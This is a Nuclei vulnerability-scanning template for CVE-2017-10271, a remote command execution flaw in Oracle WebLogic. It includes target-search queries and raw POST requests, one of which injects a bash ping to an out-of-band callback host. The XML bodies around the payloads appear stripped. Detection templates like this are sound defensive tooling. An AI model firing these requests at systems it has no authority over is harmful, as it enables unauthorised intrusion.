id: CVE-2017-10271 info: name: Oracle WebLogic Server - Remote Command Execution author: dr_set,ImNightmaree,true13 severity: high description: | The Oracle WebLogic Server component of Oracle Fusion Middleware (subcomponent - WLS Security) is susceptible to remote command execution. Supported versions that are affected are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0. This easily exploitable vulnerability allows unauthenticated attackers with network access via T3 to compromise Oracle WebLogic Server. impact: | Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands with the privileges of the WebLogic server. remediation: | Apply the latest security patches provided by Oracle to fix this vulnerability. Additionally, restrict network access to the WebLogic server and implement strong authentication mechanisms. reference: - https://github.com/vulhub/vulhub/tree/fda47b97c7d2809660a4471539cd0e6dbf8fac8c/weblogic/CVE-2017-10271 - https://github.com/SuperHacker-liuan/cve-2017-10271-poc - http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html - https://nvd.nist.gov/vuln/detail/CVE-2017-10271 - http://www.securitytracker.com/id/1039608 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H cvss-score: 7.5 cve-id: CVE-2017-10271 epss-score: 0.97426 epss-percentile: 0.99932 cpe: cpe:2.3:a:oracle:weblogic_server:10.3.6.0.0:*:*:*:*:*:*:* metadata: max-request: 2 vendor: oracle product: weblogic_server shodan-query: - http.title:"oracle peoplesoft sign-in" - product:"oracle weblogic" fofa-query: title="oracle peoplesoft sign-in" google-query: intitle:"oracle peoplesoft sign-in" tags: cve,cve2017,weblogic,oast,kev,vulhub,rce,oracle http: - raw: - | POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: {{Hostname}} Accept: */* Accept-Language: en Content-Type: text/xml /bin/bash -c ping -c 1 {{interactsh-url}} - | POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: {{Hostname}} Accept: */* Accept-Language: en Content-Type: text/xml {{randstr}} stop-at-first-match: true matchers-condition: or matchers: - type: dsl dsl: - regex("java.lang.ProcessBuilder || 0", body) - contains(interactsh_protocol, "dns") - status_code == 500 condition: and - type: dsl dsl: - body == "{{randstr}}" - status_code == 200 condition: and # digest: 4b0a00483046022100dbc988dec280ae59d70dd9568151c35de08505ec2657bd5fb53b55597d9e7240022100c1ecb47b8e895d85b2418fce0272190b9547b94f1b18fc6549e32bedce5fe4c3:922c64590222798bb761d5b6d8e72950